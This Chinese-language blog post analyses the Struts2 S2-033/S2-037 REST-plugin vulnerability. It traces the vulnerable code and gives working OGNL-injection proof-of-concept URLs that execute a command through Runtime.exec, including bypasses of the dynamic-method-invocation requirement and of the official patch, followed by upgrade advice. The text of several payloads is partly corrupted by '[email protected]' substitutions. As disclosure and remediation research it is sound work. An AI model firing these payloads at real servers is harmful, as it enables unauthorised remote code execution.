0×00 前言


刚过完儿童节回来发现struts2 出了S033,于是放下手中的棒棒糖赶紧分析一下。

0×01 S2-033 漏洞回顾


先来回顾一下S033

根据官方描述

很明显有两个关键点:第一个是REST Plugin,另一个是Dynamic Method Invocation is enabled.(也就是开启动态方法执行),看到这里需要满足两个条件,感觉有点鸡肋啊……

直接下载回来源代码调试,载入官方的演示包struts2-rest-showcase.war,我们先随便访问一个连接/struts2-rest-showcase/orders/1,很快定位到关键代码

Rest-plujin包里面的org.apache.struts2.rest.RestActionMapper

首先要过第一关:dropExtension,这个方法会检查后缀名

其中extensions的值来自配置文件struts-plugin.xml,默认是:

因此要想通过检查我们需要构造一个.xhtml、.xml或者.json结尾的URL,或者没有后缀直接是xx/xx,这就不能使用”.”这显然是不行的。

继续往下调试:

就是说如果刚才的链接里面出现了!就进入下面的流程直接得到一个!后面的值,然后没有过滤直接放在了mapping里面

构造链接:/struts2-rest-showcase281/orders/3/1!{xxx}

在加上前面有一个allowDynamicMethodCalls的判断,几乎可以肯定漏洞点就是在这儿,继续往下走,最终method会进入到,com.opensymphony.xwork2.DefaultActionInvocation类的invokeAction方法,如下图

我们看到methodName直接进入到了ognlUtil.getValue方法,对struts2历史漏洞有点熟悉的同学都知道,这个就是最终导致代码执行的地方。不多说,直接上POC:

#!shell
http://127.0.0.1:8888/struts2-rest-showcase/orders/3!%23_memberAccess%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,@[email protected]().exec(%23parameters.cmd),index.xhtml?cmd=calc

0×02 绕过动态方法执行的限制


但是如果真的只是这样这个漏洞真的是比较鸡肋的,因为动态方法在这里默认是不开启的,那我们接着分析,有没有可能不用开动态方法都可以执行任意代码了,答案是肯定的。这个地方能不能代码执行主要是这个地方的限制

其实只要我们继续往下走,会发现其他地方也会mapping.setMethod代码如下

其实无非就是:

#!shell

http://127.0.0.1:8888/struts2-rest-showcase/orders/3/methodName

这样构造就不需要动态方法执行了,上POC:

#!shell
http://127.0.0.1:8888/struts2-rest-showcase/orders/3/%23_memberAccess%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,@[email protected]().exec(%23parameters.cmd),index.xhtml?cmd=calc

这个算其实已经算是一个0day了,这个可以绕过了动态方法执行的限制。但是这还不够,于是我马上找来了最新官方声称漏洞修复的2.3.281、2.3.20.3 and 2.3.24.3,同样的代码却报错了

难道官方是这样修复的,改了检查方法执行的方法checkEnableEvalExpression,这个方法是在request.xx(x)这种代码执行的方式后加入的判断,主要是为了杜绝参数名上面的代码执行,不过好在这个地方我们不需要这种方式执行代码。经过研究我还是通过三目运算符绕过了这个检测,POC:

#!shell
http://127.0.0.1:8888/struts2-rest-showcase281/orders/3/(%23mem=%23_memberAccess%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS)[email protected]@getRuntime().exec(%23parameters.cmd):index.xhtml?cmd=calc

6月3号的时候我给struts2官方提交了这个新的高危漏洞(CVE编号CVE-2016-4438),影响所有使用了REST插件的用户,无需要开启动态方法执行(不包括struts 2.5),此后的几天网上不断有关于s2-033的分析与绕过出来,但是他们大都错误的认为需要开启动态方法执行才能触发漏洞,其实并不需要。正如官方回复这个漏洞说的

去掉了with ! operator when Dynamic Method Invocation is enabled这句话,因此这个漏洞影响更为广泛。

0×03 修复建议


在上一个版本里面也是method出的问题,当时是加入了cleanupActionName方法进行过滤,如果这个地方要修复,也可以加入这个方法过滤一下即可。更新至官方struts 2.3.29

在线检测:http://www.pkav.net/tool/struts2/index.php

参考:https://cwiki.apache.org/confluence/display/WW/S2-037